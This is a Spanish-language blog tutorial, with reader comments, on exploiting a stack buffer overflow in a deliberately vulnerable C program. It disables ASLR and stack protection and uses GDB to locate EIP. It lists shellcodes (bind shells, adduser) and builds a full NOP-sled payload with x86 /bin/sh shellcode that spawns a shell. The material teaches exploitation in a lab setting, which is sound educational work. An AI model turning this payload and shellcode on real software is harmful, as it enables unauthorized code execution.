Buffer Overflow: Smashing the Stack
Demostración de la explotación de un ejemplo de Buffer Overflow , en el que se gana una Shell (/bin/sh). En este ejemplo el stack no se encuentra randomizado, cosa que seteamos con:
root[at]rondamon [~]~> sysctl kernel.randomize_va_space=0
El codigo fuente (ANSI C):
/*filename: pintar.c*/
/*Buffer Overflow Example*/
#include
int main(int argc, char **argv)
{
char buf[128
];
memset(buf, (char)0, sizeof(buf));
if (argc == 2)
{
strcpy(buf, argv[1]);
}
printf("Pintar : %s\n", buf);
printf("Buffer: %p\n", buf) ;
printf("Otro: %p\n", argv[1]);
}
|
Compilamos el codigo de fuente, claramente vulnerable por la función strcpy(), con GCC:
facundo[at]rondamon [~]~>gcc -fno-stack-protector pintar.c -o pintar
Una vez compilado comprobamos que el programa sea vulnerable:
facundo[at]rondamon [~]~>./pintar `python -c 'print "\x41"*200'` Pintar : AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA Buffer: 0xbfffef74 Violación de segmento
Iniciamos GDB (The Gnu Debugger):
facundo[at]rondamon [~]~> gdb pintar GNU gdb 6.8-debian Copyright (C) 2008 Free Software Foundation, Inc. License GPLv3+: GNU GPL version 3 or later This is free software: you are free to change and redistribute it. There is NO WARRANTY, to the extent permitted by law. Type "show copying" and "show warranty" for details. This GDB was configured as "i486-linux-gnu"... gdb$ file pintar |
Una vez iniciado GDB vamos a analizar un poquito esto.
gdb$ r `python -c 'print "\x41"*128'` Pintar : AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA Buffer: 0xbfffefe4 Otro: 0xbffff2a0 Program received signal SIGSEGV, Segmentation fault. 0x41414141: Error while running hook_stop: Cannot access memory at address 0x41414141 0x41414141 in ?? () |
El programa cae, lo que hacemos con \x41 (A en hexadecimal), es imprimir 128 veces la letra A. Provocando el overflow.
Veamos un poquito los registros:
EAX: 00000011 EBX: B7FD2FF4 ECX: BFFFF000 EDX: B7FD40F0 ESI: 080484D0 EDI: 08048350 EBP: BFFFF0D8 ESP: BFFFF000 EIP: 41414141 CS: 0073 DS: 007B ES: 007B FS: 0000 GS: 0033 SS: 007B
Como vemos hay algo muy interesante aqui, y es el registro EIP (Extended Instruction Pointer – Puntero extendido de instrucciones ) Este registro lo que hace es almacenar la próxima dirección de memoria que sera ejecutada.
Por lo cual, si podemos manipular el EIP, podemos hacer que apunte a donde nosotros hemos intruducido nuestro código arbitrario, cambiando el RET (dirección de retorno) a donde nosotros queramos.
Separemos un poco las cosas, para ver que parte de lo que nosotros intruducimos, se refiere al EIP.
gdb$ r `python -c 'print "\x41"*24+"\x90"*4+"\x41"*100'` Pintar : AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA Buffer: 0xbfffefe4 Otro: 0xbffff2a0 Program received signal SIGSEGV, Segmentation fault. 0x90909090: Error while running hook_stop: Cannot access memory at address 0x90909090 0x90909090 in ?? () |
Lo que hicimos fue imprimir "\x41" unas 24 veces, "\x90" unas 4 veces, y otra vez "\x41" pero por 100 veces.
Si usamos un poquíto las matemáticas podemos hacer esta simple suma:
24 bytes + 4 bytes + 100 bytes = 128 bytes
Como podemos ver, los "\x90" que introducimos representan al registro EIP.
Por lo cual nuestro código arbitrario tendra el siguiente formato:
CARACTERES + DIRECCION DE RETORNO + NOP + SHELLCODE
De esta manera, las A se utilizaran para llenar la primera parte del buffer, la dirección de retorno apuntara a donde se introducen nuestros "\x90" o mejor llamados NOP y una vez ejecutados los NOP, llegaran a nuestra shellcode, esta se ejecutara y ganaremos el acceso a la shell.
NOP en Ensamblador es un No Operation , esta instrucción le dice al procesador que avanze un ciclo sin hacer nada. Básicamente lo que hacemos es lo siguiente:
Se debe recordar que la memoria solo puede ser almacenada en multiplos de
"word". Una word en nuestro caso es 4 bytes, o 32 bits. Por lo tanto 12 bytes ocupan 3 word, 5 bytes ocupan 2 word y nuestro buffer de 128 bytes ocupa 32 words.
Vamos a comenzar a explotear esto, busquemos alguna shellcode acorde a nustro sistema (en mi caso la arquitectura es x86).
facundo[at]rondamon [~] $~> rasc -L
arm.linux.binsh 47 Runs /bin/sh
arm.linux.suidsh 67 Setuid and runs /bin/sh
arm.linux.bind 203 Binds /bin/sh to a tcp port
armle.osx.reverse 151 iPhone reverse connect shell to HOST
dual.linux.binsh 99 x86/ppc MacOSX /bin/sh shellcode
dual.osx.binsh 121 Runs /bin/sh (works also on x86) (dual)
mips.linux.binsh 87 Runs /bin/sh (tested on loongson2f).
ppc.osx.adduser 219 Adds a root user named 'r00t' no pass.
ppc.osx.binsh 152 Executes /bin/sh
ppc.osx.binsh0 72 Executes /bin/sh (with zeroes)
ppc.osx.bind4444 224 Binds a shell at port 4444
ppc.osx.reboot 28 Reboots the box
ppc.bsd.binsh 119 Runs /bin/sh
sparc.linux.binsh 216 Runs /bin/sh on sparc/linux
sparc.linux.bind4444 232 Binds a shell at TCP port 4444
x64.linux.binsh 46 Runs /bin/sh on 64 bits
x86.bsd.binsh 46 Executes /bin/sh
x86.bsd.binsh2 23 Executes /bin/sh
x86.bsd.suidsh 31 Setuid(0) and runs /bin/sh
x86.bsd.bind4444 104 Binds a shell at port 4444
x86.bsdlinux.binsh 38 Dual linux/bsd shellcode runs /bin/sh
x86.freebsd.reboot 7 Reboots target box
x86.freebsd.reverse 126 Reboots target box
x86.linux.adduser 88 Adds user 'x' with password 'y'
x86.linux.bind4444 109 Binds a shell at TCP port 4444
x86.linux.binsh 24 Executes /bin/sh
x86.linux.binsh1 31 Executes /bin/sh
x86.linux.binsh2 36 Executes /bin/sh
x86.linux.binsh3 50 Executes /bin/sh or CMD
x86.linux.udp4444 125 Binds a shell at UDP port 4444
x86.netbsd.binsh 68 Executes /bin/sh
x86.openbsd.binsh 23 Executes /bin/sh
x86.openbsd.bind6969 147 Executes /bin/sh
x86.osx.binsh 45 Executes /bin/sh
x86.osx.binsh2 24 Executes /bin/sh
x86.osx.bind4444 112 Binds a shell at port 4444
x86.solaris.binsh 84 Runs /bin/sh
x86.solaris.binshu 84 Runs /bin/sh (toupper() safe)
x86.solaris.bind4444 120 Binds a shell at port 4444
x86.w32.msg 245 Shows a MessageBox
x86.w32.cmd 164 Runs cmd.exe and ExitThread
x86.w32.adduser 224 Adds user 'x' with password 'y'
x86.w32.bind4444 345 Binds a shell at port 4444
x86.w32.tcp4444 312 Binds a shell at port 4444
Bien aquí hay una interesante es: x86.linux.binsh y pesa solamente 24 bytes y como toda toda shellcode mientras mas corta mejor, esta viene genial. Su acción es ejecutar la shell /bin/sh. Veamos la shellcode:
facundo[at]rondamon [~]~>
rasc -i x86.linux.binsh -e
"\x41\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53
\x89\xe1\x99\xb0\x0b\xcd\x80"
Lo que en formato C seria:
unsigned char shellcode[] = {
0x41, 0x31, 0xc0, 0x50, 0x68, 0x2f, 0x2f, 0x73, 0x68, 0x68, 0x2f,
0x62, 0x69, 0x6e, 0x89, 0xe3, 0x50, 0x53, 0x89, 0xe1, 0x99, 0xb0,
0x0b, 0xcd, 0x80,
};
Bien, ya tenemos la shellcode ahora vamos a ver como podemos lograr la shell, volvemos a gdb. Vamos a modificar la parte correspondiente al registro EIP (Dir. de Retorno), para ver las cosas mas claras a la hora de examinar la memoria lo remplazamos por "\x61" letra "a" (minuscula) en hexadecimal.
(gdb) r `python -c 'print "\x41"*24+"\x61\x61\x61\x61"+"\x90"*75 +"\x41\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3 \x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"'` Pintar : AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAPh//shh/bin Buffer: 0xbfffefe4 Otro: 0xbffff2a4 Program received signal SIGSEGV, Segmentation fault. 0x90909090: Error while running hook_stop: Cannot access memory at address 0x61616161 0x90909090 in ?? () |
Si vemos el registro EIP:
EIP: 61616161
Bien, vemos que EIP se sigue sobreescribiendo, ahora deberiamos conocer la posición de memoria donde comienzan nuestros NOP, para poder apuntar la dirección de retorno que pisamos a los NOP.
Inspeccionemos la memoria, especificamente al registro ESP (Extended Stack Pointer ), el cual es un puntero a la parte superior de la pila.
<(gdb) x/400h $esp
|
Ops!!, que interesante, encontramos nuestros "\x41", los "\x61" correspondientes a la nueva dirección de retorno, y finalmente los NOP ("\x90"), más una parte de la shellcode.
Bien ya conocemos a donde tiene que apuntar nuestra nueva dirección de retorno, a 0xbffff2c0, ya que alli comienzan los NOP.
Así que ahora simplemente modificamos eso en el string que le estabamos tirando al programa vulnerable.
Empezando de atras hacia adelante, deberia quedar así "\xc0\xf2\xff\xbf" .
(gdb) r `python -c 'print "\x41"*24+"\xc0\xf2\xff\xbf"+"\x90"*75 +"\x41\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3 \x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"'` Pintar : AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA��A1�Ph//shh/bin��PS�̀ Buffer: 0xbfffefe4 Otro: 0xbffff2a3 Executing new program: /bin/bash (no debugging symbols found) (no debugging symbols found) (no debugging symbols found) (no debugging symbols found) (no debugging symbols found) (no debugging symbols found) (no debugging symbols found) (no debugging symbols found) (no debugging symbols found) sh-3.2$ |
Y hemos ganado la shell :-), este es solo un ejemplo, pero que demuestra claramente el proceso mediante el cual se puede explotear algo. No realizen este experimento sin la supervisión de un adulto.


Hey man , muy bueno segui adelante, recien viste la punta del iceberg
Slds
:)
Muy bueno…al principio…. pero al final ya esta mal explicado, por ejemplo no se entiende de donde sale “\xc0\xf2\xff\xbf”.
- Cuando obtuviste el EIP: 61616161 .. luego donde lo utilizaste?
- Tu nueva direccion de retorno: 0xbffff2c0 , luego donde la utilizaste?
- rasc….de que herramienta es??? no logro encontrarla.
…yo utilizo el Ubunto 9.04 (x86)
Espero que lo aclarés para que quede todo perfecto.
Saludos.
Junior: Este blog esta abandonado hace ya un tiempo, te recomiendo que visites: http://www.codigounix.com.ar, que es la continuacion de este.
1- “\xc0\xf2\xff\xbf” es 0xbffff2c0, al revéz, dado vueltas, se entiende?
2- \x61\x61\x61\x61 => Lo utilizo solamente par a calcular donde esta el EIP, nada mas, no se utiliza mas, podes poner x61, x80, x65 o lo que quieras, es solamente para no perder vista al registro.
3- El 0xbffff2c0 es una dirección de memoria donde estan los NOP, osea apunto a cualquier region de la memoria donde se encuentren los NOP.
4-Ubuntu, que fea distro, de todas formas, mis contenidos no son aptos para ubunteros.
Saludos!